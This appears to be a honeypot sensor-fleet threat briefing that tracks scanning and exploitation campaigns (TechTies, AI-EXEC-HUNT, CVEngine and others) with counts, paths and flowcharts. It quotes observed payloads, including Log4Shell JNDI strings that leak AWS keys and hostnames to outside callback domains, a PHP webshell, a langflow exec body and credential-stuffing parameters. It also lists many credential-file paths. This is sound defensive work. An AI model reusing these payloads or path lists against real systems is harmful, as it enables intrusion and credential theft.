Mint volume — issued rows per day; purple = day with Tracebit use events
Campaign lifecycle — 57 journey-fingerprint sigs, bar = first_seen → last_seen (sensor count in label)
Curated kill-chains — registry campaigns, maintained at briefing time
TECHTIES-KIT active
⚠ №64 NEW: 93.152.221.96 (TechTies Inc. DE) — census-turned-kit escalation: 48,329 ev / 5,523 POSTs / ~16 h across farm (22,969 ev, 3,451 POSTs), ru-edge (22,069/1,939), control (3,291/133) in repeated walk cycles: tarpit → pscan marker → /.env [issued ×714 — fleet single-window record] → 20+ directory .env fanout → phpMyAdmin credential stuffing (4,767 posts, pma_username=root vs empty/root) → phpunit eval-stdin RCE probe → tomcat-manager enum → aws-credentials-file/etc-passwd/etc-shadow. Log4Shell ${jndi:ldap://${env:AWS_...}.log4j.check/exploit} strings in clientIp+XFF ×455 (JNDI-FIELD-INJECT second run). UAs Chrome/126 forgery + Go-http-client/1.1. Wordlist refresh first-seens: /.env.save.*, /mgmt/tm/util/bash (F5 BIG-IP RCE path), /django_settings.py, /backend/admin*/.env. Watch AWS use of the 714-credential hoard (727/6d), a second TechTies IP, a payload drop.
flowchart LR
A["93.152.221.96 TechTies DE<br/>Chrome/126 + Go-http-client"] --> W["48,329 ev / ~16 h<br/>3 sensors · repeated cycles"]
W --> E["/.env issued ×714<br/>fleet-record hoard"]
W --> P["pma stuffing 4,767 + phpunit RCE probe<br/>+ tomcat enum"]
W --> J["JNDI in clientIp+XFF ×455<br/>log4j.check OOB"]
AI-ADMIN-SWEEP active
№64: absent — second window; the escalation watch (second IP, any POST, unauthenticated-200 follow-up) stands. ⚠ №63 NEW: 91.99.220.233 (first-ever sighting) — synchronized AI-app admin/setup census across 7 sensors: 6 legs launched within 0.15 s of each other (20:10:29.57-.71 UTC), frantech leg 00:10:57; 865 ev, 20 paths, bare Mozilla/5.0. Paths: /api/user/self, /api/v1/admin/workspaces, /console/api/setup, /api/v1/chatflows, /rest/settings, /api/config, /model/info, /v1/models, /v1/chat/completions, /system_stats, /health/readiness — LiteLLM/Flowise/Dify/n8n/ComfyUI admin surfaces; tags litellm-admin-unauthenticated, llm-endpoint-ollama-version, docker-daemon-info, observability-health. GET-only, 0 mints, 0 POSTs. Watch a second operator IP, any POST, or an unauthenticated-200 follow-up.
flowchart LR
A["91.99.220.233<br/>bare Mozilla/5.0"] --> S["6 legs in 0.15 s<br/>7 sensors"]
S --> P["20 AI-admin paths<br/>LiteLLM · Flowise · Dify · n8n · ComfyUI"]
P --> Z["GET-only<br/>0 mints"]
CLOUDCONF-CENSUS active
№64: absent — first idle window since naming; the 8-day return gap (first seen 10-18) closes next cycle. ⚠ №63 NEW (first seen 10-18, named this cycle): 85.155.14.x (SolidCore Hosting DE, 3 IPs) — cloud-credential + VPN-config census. Cloud arm: /.aws/* incl. credentials.old/.bak and sso/cache, /.azure/* (accessTokens.json, azureProfile.json, clouds.config), /.config/gcloud/*, /.aliyun*, /.boto, /.cloudflare, /.config/doctl, /*.tfvars, passwd-s3fs, s3cfg. VPN arm: wg0.conf, globalprotect.conf, watchguard.conf, paloalto, checkpoint, mullvad, strongvpn, vyprvpn, cisco-vpn, proxy.yaml, /.netlify/state.json, /.scaleway, /scaleway.json, /.openstack, /.softlayer.json, /hetzner.json. This window: 356 ev on each of 3 sensors (farm+netcup .14, frantech .15), 47 trap families on farm, Chrome/124-125 + Firefox/125 forgeries; the VPN paths are netcup first-seens. GET-only, 0 mints. 2,015 all-time ev since 2026-10-18.
⚠ №60 NEW: 192.153.76.57 (Amazon US) ru-edge-1 only — fleet-record single-IP dictionary crawl: 69,615 ev / 69,174 paths (near-zero reuse) in 4 h 16 m (17:13–21:29 UTC 10-22), GET-only, 0 POSTs, one forged Chrome/96 UA (+64 Chrome/155 legs). Tag mix: phpmyadmin-login 38,582, not-handled 22,750, exchange-autodiscover 2,310, exchange-ecp-login 1,546, exchange-ews 1,432, exchange-owa-landing 1,073, exchange-oab 610, webshell-probe 210, backup-archive 141, fake-git 88, fake-svn-error 69, etc-passwd 32. 1 mint (17:25 UTC). Owns ru-edge's phpmyadmin-login 2375×, not-handled 97×, webshell-probe 120× and all six exchange spikes. Watch a second IP or node; a captured POST or an AWS use of the mint escalates.
flowchart LR
A["192.153.76.57 AWS US<br/>Chrome/96 forgery, GET-only"] --> B["69,615 ev / 69,174 paths<br/>4 h 16 m on ru-edge-1"]
B --> C["phpMyAdmin wordlist 38,582<br/>+ Exchange probes ~6,971"]
B --> M["/.env-class mint ×1"]
M --> Q["AWS use unobserved<br/>at window close"]
JNDI-FIELD-INJECT active
№64: SECOND RUN, new payload and operator — TechTies 93.152.221.96 injected ${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.log4j.check/exploit} + the AWS_SECRET_ACCESS_KEY variant in clientIp AND X-Forwarded-For on GET / (Go-http-client/1.1): 455 events (farm 247, ru-edge 184, control 24), 21:47–05:20 UTC — the XFF single-entry forgery counter's first mass sighting (455 vs ~0 normal); log4j.check DNS callback unobservable in these logs. ⚠ №60 NEW: 64.52.111.255 / .253 / .248 (Amazon US, same /24, ru-edge-1 only) — Exchange/vSphere/AI-API census plus 145 POSTs (bodies not captured) and a Log4Shell JNDI string in the clientIp AND X-Forwarded-For identity fields: ${jndi:${lower:d}n${lower:s}://${env:hostName}.dbctli1aobf8eu4av71gxdyzz5frsjccq.interact.sploit.in} on GET /websso/SAML2/SSO/vsphere.local (13:44:15 UTC, forged Chrome/40) — the hostname would leak to the interact.sploit.in listener on any vulnerable parser. Second identity-field injection class after №59's telnet2.sh row (same XFF counter). .255: 3,090 ev / 2,056 paths / 145 POSTs / 2 mints over 3 h 52 m under forged Chrome/40 (2,959) + Chrome/127 (131, the POST legs); .253: 1,588 ev / 503 paths in 10 m, 7 POSTs; .248: 12 ev light legs. openapi-spec-json-issued ×6 on .255. Watch: any interact.sploit.in DNS telemetry, a second /24, or AWS use of the 2 mints.
flowchart LR
A["64.52.111.255/.253/.248 AWS US<br/>Chrome/40 + Chrome/127"] --> B["ru-edge census 2,056 paths<br/>+ 145 POSTs (bodies uncaptured)"]
A --> J["JNDI string in clientIp + XFF<br/>${jndi:...interact.sploit.in}"]
J --> O["OOB callback domain<br/>interact.sploit.in"]
A --> M["2 mints<br/>openapi-spec-json-issued ×6"]
AI-EXEC-HUNT active
№64: RETURN after two idle windows — 136.65.203.248 (Google LLC US, third operator IP) farm 19:00:48–57 UTC: 623 ev / 276 paths / 33 AI-crawler forgeries in 9 s, 41 mints (ties record), 21 POSTs — React-Flight RCE bodies {"then":"$1:__proto__:then","status":"resolved_model"…} with NEW boundary r2s3km489nw4b6k on /login,/admin,/dashboard,/settings,/api/auth; vite-fs-issued ×7, gcp/firebase/proc-environ legs; marker path unchanged; decoys held. №61: RETURN after four idle windows — 136.66.182.42 (Google LLC US) canary-farm-1 05:03–05:04 UTC: 649 ev / 297 paths / 57 families in ~1 min, 20+ forged AI-crawler UAs (Kimi/Kimi-SearchBot/Moonshot/Hunyuan/ChatGLM/DeepSeek/YouBot/DuckAssist/Claude-User+ClaudeBot+Claude-SearchBot/ChatGPT-User/GPTBot/1.4/OAI-AdsBot/Googlebot desktop+mobile/Applebot ×4/bingbot/Bravebot/Amazonbot/Meta-ExternalFetcher+Agent+WebIndexer/GrokBot/CCBot/Baiduspider/cohere-ai), 41 Tracebit mints in 6 s (ties the record), marker path /z9x8c7v6b5-debug-trigger-sso.rightabouteverything.show unchanged, boundary-rotated multipart JSON-action probes {"then":"$1:_ (boundary r2s1b10479syd5v3 vs №57's r2s926xynu59lcd) on /admin,/dashboard,/settings,/api/auth, graphql-introspection ×3 (/graphql,/api/graphql,/v1/graphql), POST /app, /document.php webshell-sweep-observed; decoys held 200/302. №59: absent — third window; the 41-credential hoard drew zero AWS use through +72 h. №58: absent — second window with no second sighting; the 41-canary hoard drew zero AWS use through this window's Tracebit pull (+24 h). ⚠ №57 NEW: 34.58.160.181 (Google LLC US) canary-farm-1 20:03–20:04 UTC — 648 ev / 300 paths / 59 families / 33 forged AI-crawler UAs in 18 s, 48 mint rows (41 Tracebit credentials, 0 AWS use at window close — hostile-held), 32 POSTs incl. captured execution probes: langflow /api/v1/validate/code 200 body {"code":"@exec('raise Exception(__import__(\"subprocess\").check_output(\"env 2>…, ICEcoder /lib/terminal-xhr.php 200 body command=env&password=bypass&csrf=x, flowise node-load-method/customMCP + node-custom-function, multipart JSON-action probes {"then":"$1:_ to /login,/admin,/dashboard,/settings,/api/auth; graphql-introspection /graphql,/api/graphql,/v1/graphql; /@fs/.env + /@fs/root/.env vite-fs-issued; marker path /z9x8c7v6b5-debug-trigger-sso.rightabouteverything.show. Template kinship METADATA-HUNT (@fs + AI-crawler UA set); operator link unproven.
flowchart LR
A["136.66.182.42 Google US<br/>20+ AI-crawler UAs, 1 min"] --> C["census + /.env mints<br/>41 creds (ties record)"]
A --> G["graphql-introspection ×3"]
A --> X["multipart JSON-action {"then":"$1:_<br/>boundary r2s1b10479syd5v3"]
X --> E["decoys held 200/302<br/>0 execution"]
AI-CLI-VAULT active
⚠ №62 NEW: 195.182.16.183 (Amarutu Technology Ltd DE, first-ever sighting) — fleet-wide 8-sensor census in one window: 1,067 paths / 42 families on each canary sensor (aidev/control/ru-edge 1,720 ev, farm 1,501) + a 162-path list on all 4 deception nodes; 919 of 1,067 paths target AI-CLI/dev stores — kimi-code credentials+config.toml, .grok/auth.json, .muse-code, goose config.yaml, huggingface token, fabric .env, codeium windsurf mcp_config, claude-settings, gemini-oauth-creds, continue-config, gh-hosts-yml — plus /root dotfiles (.ssh, .docker, .git-credentials, .npmrc, .kube) and /var/www/app. UAs Go-http-client/1.1 + Firefox/146 forgery. 0 mints, 0 POSTs — existence probes. Same-/24 prober 195.182.16.23 ran its light pass alongside. Watch: a mint, AWS-side use, or a second operator IP.
⚠ №61 NEW: lauterbourg-01-ts — lead 2.58.56.23 (1337 Services GmbH NL): 597 ev / 402 paths / 19 POSTs 18:26 UTC. POST body 0x%5B%5D=androxgh0st on / and /index.php (the AndroxGh0st .env/Laravel probe parameter), then a 19-POST WordPress plugin-upload battery in 0.5 s: /wp-admin/admin-ajax.php ×9, /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php, /wp-content/plugins/contact-form-7-db/img/upload.php, /wp-content/plugins/backup-backup/includes/backup-heart.php, /wp-content/plugins/blueimp-jquery-file-upload/server/php/index.php, /wp-json/bricks/v1/render_element — multipart bodies 388–662 B, Content-Type application/x-php; decoys answered 200/302/404, 0 mints. Rest of the run is a 364-path config/credential census under rotating forged Chrome/Firefox/Edge/Safari UAs. Digest cluster 2d3e95b722b5 (9 IPs, lauterbourg-only, first seen 10-24); php2shell-root/login tags are the catch-all surface, not a campaign.
flowchart LR
A["2.58.56.23 1337 Services NL<br/>597 ev / 402 paths"] --> B["POST 0x%5B%5D=androxgh0st<br/>/ + /index.php"]
A --> C["19× WP plugin-upload POSTs<br/>admin-ajax + 5 uploader paths"]
C --> D["decoys 200/302 held<br/>0 mints"]
ADMINER-SWARM active
№63: RETURNED after №62 absence — ~40 of the 173.239.214.x pool on lauterbourg + ru-edge pairs (5-32 ev/IP), 1 mint (173.239.214.87 ru-edge); first lauterbourg pairing. №60: WENT FLEET-WIDE — 40+ of the 173.239.214.x pool plus the 45.131.195.x trio hit 6-7 sensors each at 34-96 ev per IP (crossnode table); per-IP volume low, credential POSTs below the spike threshold this window; 5 pool mints (173.239.214.88/.94/.110/.114 farm, .120 aidev). №59: RETURNED — 173.239.214.x pool back with 49 IPs / 2,136 ev on 4 sensors (aidev, control, ru-edge, farm) + a NEW second block 45.131.195.x (3 IPs / 167 ev); 68 + 15 adminer-credential-post POSTs with the INFOCREST/AKAMAI-CONFIG joomla_app body shape and a fresh 22-char password per POST (45.131.195.68: auth[username]=joomla_app&auth[password]=nzcOIczZ6Sw-2LUXAXChNw; 173.239.214.103 used username no-reply@app.internal); 8 mints (7 pool + 1 45.131.195.68); owns farm's adminer-login 4.6× + credential-post 4.5× spikes (11 posting IPs on farm). №58: pools absent (first miss) — heaviest leg 23.234.78.109 continued solo under the config-bundle/tomcat-bypass census shape (see CONFIGBUNDLE-KIT), 4 mints, and a lauterbourg kiteworks walk (python-requests/2.32.5). ⚠ №57 NEW: distributed low-and-slow adminer/phpMyAdmin census pool — 99 IPs across two /24s (173.239.214.x 70 IPs / 969 ev; 185.198.240.x 29 IPs / 767 ev) touching 5 sensors (aidev, farm, control, ru-edge + light legs), ~14 ev per IP: / + /index.php + adminer/phpMyAdmin login-surface enum (/admin/adminer.php, /PMA/, /php-myadmin/, /adminer.php, /phpmyadmin2/) then 3 adminer-credential-post + adminer-login POSTs per IP; rotating Chrome/105-107 + Firefox/105-106 forgeries; 3 mints (173.239.214.253 ru-edge, 173.239.214.238 aidev, 185.198.240.22 farm); owns aidev's adminer credential-post 4.1× + login 4.3× spikes. Heaviest single: 23.234.78.109 (tzulo US) 6+6 POSTs + 2 mints on aidev.
flowchart LR
P["173.239.214.x 70 IPs +<br/>185.198.240.x 29 IPs"] --> E["adminer/phpMyAdmin enum<br/>~14 ev per IP, 5 sensors"]
E --> C["3 credential POSTs per IP"]
C --> M["3 mints — hostile-held"]
CONFIGBUNDLE-KIT active
№59: no NEW legs — the only runs in this digest remain the №58 quad, which falls inside this window (217.60.198.111 629 ev / 4 sensors / 6 mints; 146.70.211.38 600 ev / 3 sensors / 2 mints; 208.84.100.218 36 ev / 3 sensors / 1 mint); kit-vs-coincidence still open. ⚠ №58 NEW: one config-bundle census shape across 4 hosting orgs in one window — families webapp-config-bundle-js(-error/-json), tomcat-path-bypass-env, phpinfo, symfony-profiler-phpinfo, wp-batch, whm-login, ds-store, fake-git. Operators: 217.60.198.111 (FIRST EVER 03:44 UTC-4; 629 ev / 4 sensors in 19 min / 6 mints; Chrome/105–107 + Firefox/105–106 + python-requests/2.32.5 rotation; 217.60.x = the LIBREDTAIL staging /16 — unproven link), 146.70.211.38 (FIRST EVER 04:23; 600 ev / 3 sensors / 2 mints; M247; Chrome/106), 208.84.100.218 (first seen 10-02, 135 ev all-time; Chrome/39 forgery; 36 ev / 3 sensors / 1 mint today), plus 23.234.78.109 (ADMINER-SWARM's heavy leg — same families + 4 mints today). One kit with rotating hosting is Moderate confidence; the family mix is the fingerprint.
flowchart LR
A["217.60.198.111 · first ever<br/>629 ev / 4 sensors / 6 mints"] --> F["webapp-config-bundle-js ±<br/>tomcat-path-bypass-env"]
B["146.70.211.38 · first ever<br/>600 ev / 3 sensors / 2 mints"] --> F
C["208.84.100.218 · Chrome/39<br/>since 10-02 · 1 mint"] --> F
D["23.234.78.109<br/>ex-ADMINER heavy leg · 4 mints"] --> F
F --> E["phpinfo · symfony · wp-batch ·<br/>whm-login · ds-store"]
CLAUDE-CRED-HUNT active
⚠ №59 NEW: 87.192.41.180 — on record 10-17 hammering exactly /.claude/.credentials.json 70×, this window a 10-path Claude Code store walk (/.claude.json, /.claude/.credentials.json, /.claude/.env, /.claude/settings.json, /.claude/settings.local.json + /root|home/{ubuntu,admin,debian,claude}/.claude/.credentials.json) as 22 identical events on ALL 8 sensors (176 ev), forged Chrome/136, GET-only, 0 mints/POSTs. Digest signatures 80d29a9d099a (not-handled nodes) + 5b06f50534d3 (claude-credentials trap nodes) are the same walk split by node result tags. Wordlist leak in-window: 213.209.159.175 (4 ev, control) + 45.138.12.24 (3 ev, netcup) fetched the same paths.
flowchart LR
A["87.192.41.180<br/>Chrome/136 forgery"] --> P["10-path Claude Code store walk<br/>.claude.json · credentials.json<br/>settings.json · .env"]
P --> S["22 events × 8 sensors<br/>176 ev total"]
S --> X["0 mints · 0 POSTs<br/>claude-credentials trap held"]
SES-QUOTA-PROBE idle
№58: silent — no use-side events from 137.23.38.53 this window. ⚠ №57 PROMOTED (was the 137.23.38.53 watch single): the collector drew 84 AWS events across 2 stolen credentials — DENIED ses:GetSendQuota ×72 + iam:GetUser ×6 plus sts:GetCallerIdentity successes (6) — its first use beyond self-validation. Third window: №55 mint + self-use, №56 expanded census + self-use, №57 SES/IAM probing (bulk-sender recon intent). 0 in-window mints; its 3 held farm canaries from 10-17/10-18 are the inventory being worked. Use IP never appears in flux logs (all-time).
flowchart LR
C["137.23.38.53<br/>3 farm mints 10-17/10-18"] --> U["84 AWS events, 1 use IP"]
U --> S["DENIED ses:GetSendQuota ×72<br/>+ iam:GetUser ×6"]
U --> G["GetCallerIdentity success ×6"]
WEBSIPHON idle
№60: FIRST ABSENCE after five consecutive windows — no WebSiphon/next-0.1 event on any sensor; standing-paused, not retired (check a return before any retirement call). №59: FIFTH generation — four fresh IPs at a uniform 587 ev / 587 paths each (669−82, template trimmed) on FOUR FIRST-TIME nodes: 147.224.212.88 control 17:19 UTC, 163.192.211.99 lauterbourg 20:40, 163.192.109.234 sponge 20:44, 147.224.133.69 farm 22:08 (1 mint at /.env); wordlist added a source-archive generation (site.yml, COPYING, next.config.js, repository.zip, source.zip, website.zip — the lauterbourg first-seen set); owns control's fake-git-error 47× (290) + backup-archive-error 21× (21) and farm's backup-archive 6.1× (21) spikes; honest WebSiphon/next-0.1 UA. 15 operator IPs over 5 windows. №58: FOUR fresh Oracle-US IPs, uniform 669 ev / 669 paths each across 4 sensors (164.152.24.126 ru-edge 19:25, 170.9.228.116 netcup 20:24, 163.192.198.182 frantech 21:52, 147.224.178.252 aidev 22:02 UTC-4), ~5 s bursts; template GREW +35 GPU-cloud paths (crusoe/cudo/runpod/koyeb/paperspace/vultr/replicate/akamai env variants — the ru-edge first-seen set); 2 mints (.126 ru-edge, .252 aidev). №57: TEMPLATE SCALED — 6 operator IPs / 4 sensors / 3 Oracle-US blocks in one window: 163.192.195.37 control 800 ev / 669 paths / 52 fams in 12 s (1 mint), 64.181.210.1 lauterbourg 564 ev / 463 paths in 1.4 s, 147.224.164.154 control 378 ev / 71 fams in 3 s, 149.130.220.90 control + 147.224.209.232 farm (identical 157 ev / 69 paths, 1 mint each), 163.192.221.136 sponge 151 ev. Owns control's app-config-yaml 9.8× + config-json-error spikes and lauterbourg's busiest hour. 3 mints; no AWS use of them observed in-window. №56: no second IP or node — but its AWS-side user 185.209.196.169 MINTED 1 on ru-edge (05:00 UTC 10-19): a use-side host joined the mint side. ⚠ №55 NEW: 147.224.147.131 (Oracle US) ru-edge-1 380 ev / 292 paths / 71 families in 7.3 s (12:36:43 EDT) under honest UA WebSiphon/next-0.1 — second-largest family count on record (OMEGA's 107). /.env issued first, then /.env.* variants + config/secrets/terraform/k8s/aws census; 1 mint. Its 2 credentials were used from 185.209.196.169 (Boto3/1.43.108 Linux 5.15.0 + python-urllib3/2.7.0): GetCallerIdentity + SSM GetParameter, EC2 DescribeVpcs/DescribeImages/DescribeCapacityBlockOfferings, ServiceQuotas reads, and DENIED ec2:RunInstances + ec2:PurchaseCapacityBlock — the first provisioning-shaped calls in fleet history. Use-side /24 overlaps MEGA-DICT's 185.209.196.x hosts (lineage note only).
flowchart LR
W["147.224.147.131 Oracle US<br/>WebSiphon/next-0.1"] --> C["ru-edge census<br/>292 paths / 71 fams in 7 s"]
C --> M["/.env issued"]
M --> U["185.209.196.169 Boto3<br/>GetCallerIdentity + inventory"]
U --> X["DENIED RunInstances +<br/>PurchaseCapacityBlock"]
CVENGINE-KIT idle
№57: absent — first miss after the №56 debut; the relay /24's only window activity was l9explore runner 45.138.12.51's REGISTRY-HUNT legs. ⚠ №56 NEW: 45.138.12.22 + .27 (+ light legs .24, .65) Tc Datacenter LT — sponge-01-ts + netcup-ts relay over ~8 h (.22 16:23–00:28 EDT, .27 21:24–00:08 EDT + netcup 23:14–23:30). 419–513-path census under Chrome/137/128 forgeries PLUS a real exploit battery: wp-batch UNION SELECT SQLi with md5('wp2shell1337') oracle, multipart PHP webshell uploads (CVEngineBoundarycv*.php, <?php system($_GET['c']); ?>), webshell-command action=download_backup, wp-admin-redirect + wp-login-probe legs (owns both nodes' wp spikes: sponge 84/88, netcup 42/44). .27 lineage: KITEWORKS-CRAWL №43 and the l9explore block.
flowchart LR
T["45.138.12.22 → .27 relay<br/>Tc Datacenter LT"] --> C["census 419–513 paths<br/>Chrome/137 forgery"]
T --> S["wp-batch UNION SELECT SQLi<br/>md5('wp2shell1337') oracle"]
T --> W["webshell upload cv*.php<br/>system($_GET['c'])"]
W --> D["action=download_backup"]
CENSUS-284 idle
№57: absent — both buyers silent in their second window; the shared 284-path artifact's third-buyer question stays open. ⚠ №56 NEW: one identical 284-path config/credential census from two unrelated hosts — 85.239.151.82 (Interserver US) + 93.123.109.228 (Techoff Srv BG): 284/284 path overlap, same forged Chrome/137.0.0.0 Win10 UA, 7 families, GET-only, 0 mints; AI-credential paths (/openai.yml, /google-ai.yml, /vertex-ai-credentials.json, /mcp.yaml, /config/secrets.js, /config/hubspot.yml, /hr/) own sponge's openapi-spec-json-skeleton 25× spike (16 hits each). Marketplace wordlist model like MEGA-DICT, but for config census.
flowchart LR
A["85.239.151.82 Interserver US"] --> W["284-path AI-credential census<br/>Chrome/137 forgery"]
B["93.123.109.228 Techoff BG"] --> W
W --> O["openapi-spec skeletons 200<br/>sponge spike 25×"]
W --> N["0 mints — GET-only"]
KEYDROP-SCANS active
№63: RETURNED — 172.235.210.84 minted 1 on ai-devbox-1 (00:50 UTC) with the same 2-event walk; third IP rotation on record. №59: RETURNED after two idle windows as a NEW IP pair — 172.239.10.144 (2 mints: ru-edge + farm, 1 more 400-failed on control) + 172.233.224.159 (1 mint: aidev), each 8 ev / 4 sensors / the same 2-event walk (/.env + /.git/config), 12:01–20:39 UTC. №56: FIRST MISS after promotion — no sightings; its pre-window mints (last 11:29 EDT 10-17) aged out of the canary window. №55 PROMOTED from №54 watch: UA 'Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);' — 104.64.127.170 minted on ru-edge-1 + control-1 + canary-farm-1 and 172.105.54.41 on ai-devbox-1 (4 mints, 07:08–13:04 EDT); uniform 2-event walk per sensor (/.env + /.git/config); the pair touched all 8 sensors. Onlyscans-branded banner scanner now collecting credentials.
flowchart LR
K["104.64.127.170 + 172.105.54.41<br/>Keydrop.io/1.0 UA"] --> E["/.env issued<br/>4 canary sensors"]
K --> G["/.git/config<br/>fake-git"]
GOWEB-PENTEST active
№63: FIRST SAME-WINDOW PAIR — 36.99.60.192 + 191.102.244.103, each 151 phpmyadmin-login POSTs on 1 path on sponge-01-ts (both first-time operator IPs; the pair IS the node's 7.3x spike core). №59: 23rd operator — 193.194.91.148 netcup-ts 151 phpmyadmin-login GETs on 1 path (first netcup appearance; owns the node's phpmyadmin-login 68.4× spike core with l9explore's 3). №57: 21st + 22nd operator IPs — 152.136.33.217 (sponge) + 200.4.96.35 (aidev), 151 phpmyadmin-login GETs each, GET-only, 0 mints; the two runs own both nodes' phpmyadmin spikes' cores. №56: two operator windows in one cycle, both on control-1 — 133.18.142.12 ran 151 phpmyadmin-login GETs on /db/index.php, 177.124.93.52 ran 151 on /mysql-admin/index.php; GET-only, 0 POSTs; with EMPERORS-KIT's 22 GETs they own control's phpmyadmin-login 3.0× spike. №55: EIGHTEENTH window — 198.100.154.28 (OVH SAS CA) frantech-ts 151 phpmyadmin-login GETs on /mysql/webdb/index.php in 13 s (00:26 EDT), GET-only, 0 POSTs — first frantech appearance; owns the node's phpmyadmin-login 6.3× spike. №54: SEVENTEENTH window — 190.93.152.243 (Colombia CO) canary-farm-1 151 phpmyadmin-login GETs on /db/webdb/index.php in ~1 min (18:50 EDT) + 2 not-handled singles (/phppma, /sql/myadmin); №53's operator absent. №53: SIXTEENTH window, NEW operator — 169.58.99.248 (Contabo GmbH FR) canary-farm-1 151 phpmyadmin-login GETs on /phpMyAdmin-5.2/index.php in ~1 min (01:05 EDT); №52's three operators absent. №52: THIRTEENTH–FIFTEENTH windows — THREE new operators in one cycle: 34.211.136.159 (AWS US) lauterbourg 151 phpmyadmin-login GETs / 1 path in 28 s (23:23 EDT), 185.205.222.77 (PT Industri Kreatif Digital ID) lauterbourg 151 / 1 (17:52 EDT), 185.47.64.239 (Nowatel Sp. z o.o., PL) ai-devbox-1 151 / 1 in 28 s (23:23 EDT). All `Go Web Pentest Tool`, GET-only, 0 POSTs; 17 operator IPs / 12 windows. №51: TENTH–ELEVENTH windows, both on lauterbourg — 172.104.173.62 (Linode/Akamai SG) RETURNED, the campaign's first repeat operator (151 GETs / 1 path in 49 s, 04:52 EDT) + NEW 148.72.159.98 (151 / 1 in 16 s, 18:47 EDT). №50: SEVENTH–NINTH windows — three more new operator/node pairs: 103.242.78.199 (Universitas Muhammadiyah Jember, ID) hit canary-farm-1 with 151 phpmyadmin-login GETs on 1 path in 39 s (09:32 EDT); 188.166.218.48 (DigitalOcean SG) hit control-1, 151 GETs / 1 path in 22 s (13:54 EDT); 172.104.173.62 (Linode SG) hit lauterbourg-01-ts, 151 GETs / 1 path in 49 s (04:52 EDT). Nine windows, nine operators, nine nodes, nine ASNs — all `Go Web Pentest Tool`, GET-only, 0 POSTs. №49: FOURTH–SIXTH windows in ONE cycle — three NEW operators, three NEW nodes: 58.84.1.216 (VNG VN) hammered sponge-01-ts 181 phpmyadmin-login GETs / 1 path in 39 s (09:50 EDT); 139.59.74.7 (DigitalOcean IN) hit control-1 151 GETs / 1 path in 11 s (19:32 EDT); 27.147.153.210 (Link3 BD) hit canary-farm-1 151 GETs / 1 path in 29 s (15:32 EDT). All `Go Web Pentest Tool`, GET-only, 0 POSTs — six windows, six operators, six nodes, six ASNs; a captured credential body is still unseen. №48: THIRD window — 109.123.251.103 (same /16 as canary-farm-1's public IP) ran 181 phpmyadmin-login GETs on 1 path in 1.1 s on lauterbourg (07:37 EDT 10-10), 0 POSTs. Three operators, three nodes, three ASNs — the commodity-tool read is solid. ⚠ NEW №47: promoted from the №46 watch single on the second window / node / operator — honest self-labeled UA `Go Web Pentest Tool`. №46: 158.178.159.133 (Oracle NL) POST-flooded /mysql/dbadmin/index.php on frantech 181× in 26 s. №47: 167.86.124.4 (Contabo FR) hammered phpmyadmin login paths on ai-devbox-1 — 183 ev / 3 paths / 181 phpmyadmin-login GETs in 1 min (17:57 UTC 10-09), 0 POSTs. Watch: a third operator IP or any captured credential body.
flowchart LR
GWT["Go Web Pentest Tool<br/>self-labeled UA"] --> PMA["phpMyAdmin login hammer<br/>~181 events / pass"]
PMA --> ROT["IP + verb rotation<br/>POST → GET, node per window"]
AKAMAI-VHOST-SCAN idle
№50: FIRST ABSENCE — 172.234.162.31 and the Akamai DE class out; the kiteworks vhost instead carried REGISTRY-HUNT l9scan legs (206.81.12.187, 165.22.235.3, 167.99.182.39; 40 ev each) and a Google-hosted bare-Chrome crawler (104.199.36.53, 117 + 25 ev). ⚠ NEW №49 — promoted on the second window: lauterbourg vhost + admin-surface census class under Akamai Connected Cloud egress. 172.234.162.31 (FR) returned 05:22 EDT 10-11: 231 ev / 194 paths / 29 families in a ~1-min pass — kiteworks-root-redirect → /login [kiteworks-shell] → citrix rdx lang fetch → nmaplowercheck → /cgi-mod/header_logo.cgi → /sdk (1 POST, 441 B, body not captured) → /health → coldfusion CFIDE → singles for fortigate, ivanti, exchange OWA, cisco webvpn, geoserver, nextjs, openapi, ollama-version. Class history: 172.104.241.92 + 172.105.76.7 (Akamai DE, №46–№47 third windows on lauterbourg). Three IPs, one node, browser+forged UA rotation, 0 mints across the class.
flowchart LR
A["Akamai egress IPs ×3<br/>FR + DE classes"] --> K["kiteworks-root-redirect<br/>→ /login"]
K --> S["admin-surface singles:<br/>citrix · CFIDE · fortigate ·<br/>ivanti · OWA · webvpn"]
S --- P["1 POST /sdk · 441 B<br/>body not captured"]
ATLASSIAN-REST-PROBE active
№55: SECOND CONSECUTIVE WINDOW on lauterbourg — cluster b3c6048a4870 again 7 IPs / 280 ev; the /rest/api/2/serverInfo stage is STILL absent (0 hits in the window). Moderate attribution stands. №54: RETURNED on lauterbourg after five idle windows — digest cluster b3c6048a4870 (7 IPs / 280 ev, signature first seen 10-10): kiteworks-root-redirect → weblogic-console-login → /download/resources/jira.webresources:color-picker-popup/…/..::×5::META-INF::maven::com.atlassian.jira archive traversal; the /rest/api/2/serverInfo stage absent from the sample; REGISTRY-HUNT runner overlap (159.89.174.87, 147.182.200.94, 167.172.158.128, 128.199.182.55 all minted elsewhere this window). №49: FIRST ABSENCE — 87.120.204.145, the lighter runners, and signature 9609f17ada17 all absent; watch a second window to separate one-shot recon from a standing cadence. ⚠ NEW №48 — fleet-wide Confluence/Atlassian REST discovery, signature 9609f17ada17 (9 IPs / 216 ev / 7 sensors, first seen 10-11): /rest/api/2/serverInfo, /rest/api/serverInformation, /rest/api/latest/server, /status. Primary operator 87.120.204.145 (G-Core Labs) hammered both EU nodes (694 ev each, 331 paths, 8-UA modern rotation, 0 mints) incl. an 8-level archive traversal /s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/…/..::×8::META-INF (№47's REGISTRY-HUNT Jira traversal used 5 levels). Lighter same-UA-set runners 45.207.159.88 + 2407:cdc0:f004:785e:e5d4:8ffa:4068:2bcb ran 7 min before .145's EU pass; single touches from 172.234.162.31, 139.162.33.108.
flowchart LR
R["REST serverInfo census<br/>/rest/api/2/serverInfo<br/>+ /status variants"] --> H["87.120.204.145 hammer<br/>694 ev/EU node · 8 UAs"]
H --> T["8-level ..:: archive traversal<br/>Confluence plugins"]
R --- L["9-IP fleet-wide wave<br/>0 mints"]
CF-FRONTED CREDSWEEP new
№37: first-seen Cloudflare-fronted ai-devbox credential census over inference.fapthropic.com — 54 Cloudflare edge IPs, 7,245 HTTPS events, 289 paths, 83 result families, and 76 /.env mints. Origin hidden by Cloudflare; all rows use socket peer 172.18.0.1 with no XFF mismatch. Watch the minted credentials for AWS use.
flowchart LR
